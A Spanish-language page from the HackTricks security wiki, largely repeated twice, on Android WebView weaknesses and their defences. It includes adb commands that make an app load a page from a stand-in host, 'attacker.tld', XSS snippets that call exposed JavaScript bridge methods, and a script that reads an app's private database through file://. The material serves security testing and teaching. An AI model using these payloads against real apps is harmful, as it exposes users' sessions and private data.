Webview Attacks
Reading time: 15 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Guía sobre Configuraciones y Seguridad de WebView
Descripción General de las Vulnerabilidades de WebView
Un aspecto crítico del desarrollo en Android implica el manejo correcto de WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar los riesgos asociados con el uso de WebView.
Acceso a Archivos en WebViews
Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad es controlada por el método setAllowFileAccess()
, disponible desde el nivel de API 3 de Android (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo utilizando un esquema de URL de archivo (file://path/to/file
).
Características Obsoletas: Acceso Universal y Acceso a Archivos Desde URLs
- Acceso Universal Desde URLs de Archivos: Esta característica obsoleta permitía solicitudes de origen cruzado desde URLs de archivos, lo que representaba un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración predeterminada está deshabilitada (
false
) para aplicaciones que apuntan a Android Jelly Bean y versiones más recientes. - Para verificar esta configuración, utiliza
getAllowUniversalAccessFromFileURLs()
. - Para modificar esta configuración, utiliza
setAllowUniversalAccessFromFileURLs(boolean)
. - Acceso a Archivos Desde URLs de Archivos: Esta característica, también obsoleta, controlaba el acceso al contenido desde otras URLs de esquema de archivo. Al igual que el acceso universal, su configuración predeterminada está deshabilitada para mejorar la seguridad.
- Utiliza
getAllowFileAccessFromFileURLs()
para verificar ysetAllowFileAccessFromFileURLs(boolean)
para establecer.
Carga Segura de Archivos
Para deshabilitar el acceso al sistema de archivos mientras se accede a activos y recursos, se utiliza el método setAllowFileAccess()
. Con Android R y versiones superiores, la configuración predeterminada es false
.
- Verifica con
getAllowFileAccess()
. - Habilita o deshabilita con
setAllowFileAccess(boolean)
.
WebViewAssetLoader
La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Utiliza URLs http(s) para acceder a activos y recursos locales, alineándose con la política de Same-Origin, facilitando así la gestión de CORS.
loadUrl
Esta es una función común utilizada para cargar URLs arbitrarias en un webview:
webview.loadUrl("<url here>")
Por supuesto, un atacante potencial nunca debería poder controlar la URL que una aplicación va a cargar.
Manejo de JavaScript y Esquema de Intento
- JavaScript: Desactivado por defecto en WebViews, se puede habilitar a través de
setJavaScriptEnabled()
. Se recomienda precaución, ya que habilitar JavaScript sin las salvaguardias adecuadas puede introducir vulnerabilidades de seguridad. - Esquema de Intento: Los WebViews pueden manejar el esquema
intent
, lo que puede llevar a exploits si no se gestiona cuidadosamente. Una vulnerabilidad de ejemplo involucró un parámetro de WebView expuesto "support_url" que podría ser explotado para ejecutar ataques de scripting entre sitios (XSS).
Ejemplo de explotación usando adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Una característica proporcionada por Android permite que JavaScript en un WebView invoque funciones nativas de la aplicación Android. Esto se logra utilizando el método addJavascriptInterface
, que integra JavaScript con funcionalidades nativas de Android, denominado como un WebView JavaScript bridge. Se recomienda precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto de la Interfaz JavaScript registrada, lo que representa un riesgo de seguridad si se expone información sensible a través de estas interfaces.
- Se requiere extrema precaución para las aplicaciones que apuntan a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite la ejecución remota de código a través de JavaScript malicioso, explotando la reflexión.
Implementando un JavaScript Bridge
- Las interfaces de JavaScript pueden interactuar con el código nativo, como se muestra en los ejemplos donde un método de clase se expone a JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge se habilita al agregar una interfaz al WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- La explotación potencial a través de JavaScript, por ejemplo, mediante un ataque XSS, permite la llamada a métodos Java expuestos:
<script>
alert(javascriptBridge.getSecret())
</script>
- Para mitigar riesgos, restringe el uso del puente JavaScript al código enviado con el APK y evita cargar JavaScript de fuentes remotas. Para dispositivos más antiguos, establece el nivel mínimo de API en 17.
Ejecución Remota de Código Basada en Reflexión (RCE)
- Un método documentado permite lograr RCE a través de reflexión ejecutando una carga útil específica. Sin embargo, la anotación
@JavascriptInterface
previene el acceso no autorizado a métodos, limitando la superficie de ataque.
Depuración Remota
- La depuración remota es posible con Chrome Developer Tools, lo que permite la interacción y la ejecución arbitraria de JavaScript dentro del contenido de WebView.
Habilitando la Depuración Remota
- La depuración remota se puede habilitar para todos los WebViews dentro de una aplicación mediante:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Para habilitar condicionalmente la depuración según el estado de depuración de la aplicación:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrar archivos arbitrarios
- Demuestra la exfiltración de archivos arbitrarios utilizando un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview Attacks
Guía sobre Configuraciones y Seguridad de WebView
Visión General de Vulnerabilidades de WebView
Un aspecto crítico del desarrollo en Android implica el manejo correcto de WebViews. Esta guía destaca configuraciones clave y prácticas de seguridad para mitigar riesgos asociados con el uso de WebView.
Acceso a Archivos en WebViews
Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad es controlada por el método setAllowFileAccess()
, disponible desde el nivel de API 3 de Android (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo utilizando un esquema de URL de archivo (file://path/to/file
).
Características Obsoletas: Acceso Universal y Acceso a Archivos Desde URLs
- Acceso Universal Desde URLs de Archivos: Esta característica obsoleta permitía solicitudes de origen cruzado desde URLs de archivos, lo que representaba un riesgo de seguridad significativo debido a posibles ataques XSS. La configuración predeterminada está deshabilitada (
false
) para aplicaciones que apuntan a Android Jelly Bean y versiones más recientes. - Para verificar esta configuración, utiliza
getAllowUniversalAccessFromFileURLs()
. - Para modificar esta configuración, utiliza
setAllowUniversalAccessFromFileURLs(boolean)
. - Acceso a Archivos Desde URLs de Archivos: Esta característica, también obsoleta, controlaba el acceso al contenido desde otras URLs de esquema de archivo. Al igual que el acceso universal, su configuración predeterminada está deshabilitada para mejorar la seguridad.
- Utiliza
getAllowFileAccessFromFileURLs()
para verificar ysetAllowFileAccessFromFileURLs(boolean)
para establecer.
Carga Segura de Archivos
Para deshabilitar el acceso al sistema de archivos mientras se accede a activos y recursos, se utiliza el método setAllowFileAccess()
. Con Android R y versiones superiores, la configuración predeterminada es false
.
- Verifica con
getAllowFileAccess()
. - Habilita o deshabilita con
setAllowFileAccess(boolean)
.
WebViewAssetLoader
La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Utiliza URLs http(s) para acceder a activos y recursos locales, alineándose con la política de Same-Origin, facilitando así la gestión de CORS.
loadUrl
Esta es una función común utilizada para cargar URLs arbitrarias en un webview:
webview.loadUrl("<url here>")
Por supuesto, un atacante potencial nunca debería poder controlar la URL que una aplicación va a cargar.
Deep-linking en WebView interno (esquema personalizado → WebView sink)
Muchas aplicaciones registran esquemas/rutas personalizados que dirigen una URL proporcionada por el usuario a un WebView dentro de la aplicación. Si el enlace profundo se exporta (VIEW + BROWSABLE), un atacante puede forzar a la aplicación a renderizar contenido remoto arbitrario dentro de su contexto de WebView.
Patrón típico de manifiesto (simplificado):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Flujo de código común (simplificado):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
Patrón de ataque y PoC a través de adb:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impacto: la página remota se ejecuta en el contexto de WebView de la aplicación (cookies/sesión del perfil de WebView de la aplicación, acceso a cualquier @JavascriptInterface expuesto, acceso potencial a content:// y file:// dependiendo de la configuración).
Consejos de búsqueda:
- Grep fuentes decompiladas para
getQueryParameter("url")
,loadUrl(
, sumideros deWebView
y controladores de deep-link (onCreate/onNewIntent
). - Revisa el manifiesto en busca de filtros VIEW+BROWSABLE y esquemas/anfitriones personalizados que se mapeen a actividades que luego inician un WebView.
- Verifica si hay múltiples rutas de deep-link (por ejemplo, una ruta de "navegador externo" frente a una ruta de "webview interno") y prefiere la que se renderiza dentro de la aplicación.
Habilitando JavaScript antes de la verificación (error de orden de comprobaciones)
Un error frecuente de endurecimiento es habilitar JavaScript o configurar ajustes de WebView relajados antes de que se complete la lista de permitidos/verificación de la URL objetivo. Si la verificación es inconsistente entre ayudantes o ocurre demasiado tarde, un enlace profundo de un atacante puede alcanzar un estado donde:
- Se aplican configuraciones de WebView (por ejemplo,
setJavaScriptEnabled(true)
), y - La URL no confiable se carga con JavaScript habilitado.
Patrón de error (pseudocódigo):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Por qué es explotable
- Normalización inconsistente: los ayudantes dividen/reconstruyen la URL de manera diferente a la verificación final, creando desajustes que una URL maliciosa puede explotar.
- Pipeline desordenado: habilitar JS en el paso 2 se aplica globalmente a la instancia de WebView, afectando la carga final incluso si la verificación falla más tarde.
Cómo probar
- Crear cargas útiles de deep-link que pasen las verificaciones iniciales y lleguen al sitio de configuración de WebView.
- Usar adb para enviar intenciones IMPLÍCITAS de VIEW que entreguen un parámetro
url=
controlado por usted:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Si la explotación tiene éxito, tu payload ejecuta JavaScript en el WebView de la aplicación. Desde allí, busca puentes expuestos:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Guía defensiva
- Canonicalizar una vez; validar estrictamente contra una única fuente de verdad (esquema/anfitrión/ruta/consulta).
- Solo llamar a
setJavaScriptEnabled(true)
después de que todas las verificaciones de lista de permitidos pasen y justo antes de cargar contenido de confianza. - Evitar exponer
@JavascriptInterface
a orígenes no confiables; preferir el control por origen. - Considerar instancias por WebView para contenido de confianza vs no confiable, con JS deshabilitado por defecto.
Manejo de JavaScript y Esquema de Intento
- JavaScript: Deshabilitado por defecto en WebViews, se puede habilitar a través de
setJavaScriptEnabled()
. Se recomienda precaución, ya que habilitar JavaScript sin las salvaguardias adecuadas puede introducir vulnerabilidades de seguridad. - Esquema de Intento: Los WebViews pueden manejar el esquema
intent
, lo que puede llevar a exploits si no se gestiona cuidadosamente. Una vulnerabilidad de ejemplo involucró un parámetro de WebView expuesto "support_url" que podría ser explotado para ejecutar ataques de scripting entre sitios (XSS).
Ejemplo de explotación usando adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Una característica proporcionada por Android permite que JavaScript en un WebView invoque funciones nativas de la aplicación Android. Esto se logra utilizando el método addJavascriptInterface
, que integra JavaScript con funcionalidades nativas de Android, denominado como un WebView JavaScript bridge. Se recomienda precaución, ya que este método permite que todas las páginas dentro del WebView accedan al objeto de la Interfaz JavaScript registrada, lo que representa un riesgo de seguridad si se expone información sensible a través de estas interfaces.
- Se requiere extrema precaución para las aplicaciones que apuntan a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite la ejecución remota de código a través de JavaScript malicioso, explotando la reflexión.
Implementando un JavaScript Bridge
- Las interfaces de JavaScript pueden interactuar con código nativo, como se muestra en los ejemplos donde un método de clase se expone a JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge se habilita al agregar una interfaz al WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- La explotación potencial a través de JavaScript, por ejemplo, mediante un ataque XSS, permite la llamada a métodos Java expuestos:
<script>
alert(javascriptBridge.getSecret())
</script>
- Para mitigar riesgos, restringe el uso del puente JavaScript al código enviado con el APK y evita cargar JavaScript de fuentes remotas. Para dispositivos más antiguos, establece el nivel mínimo de API en 17.
Ejecución Remota de Código Basada en Reflexión (RCE)
- Un método documentado permite lograr RCE a través de reflexión ejecutando una carga útil específica. Sin embargo, la anotación
@JavascriptInterface
previene el acceso no autorizado a métodos, limitando la superficie de ataque.
Depuración Remota
- La depuración remota es posible con Chrome Developer Tools, lo que permite la interacción y la ejecución arbitraria de JavaScript dentro del contenido de WebView.
Habilitando la Depuración Remota
- La depuración remota se puede habilitar para todos los WebViews dentro de una aplicación mediante:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Para habilitar condicionalmente la depuración según el estado de depuración de la aplicación:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltrar archivos arbitrarios
- Demuestra la exfiltración de archivos arbitrarios utilizando un XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Referencias
- Revisión de vectores de ataque de acceso a archivos de Android WebViews
- WheresMyBrowser.Android (app de demostración)
- Referencia de Android WebView
- Explotaciones de Deep Links y WebViews – Parte II
- Explotaciones de Deep Links y WebViews – Parte I
- Cadena de explotación del Samsung S24 Pwn2Own 2024 Walkthrough
- Pwn2Own Irlanda 2024 – Cadena de ataque del Samsung S24 (documento técnico)
- Video de demostración
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.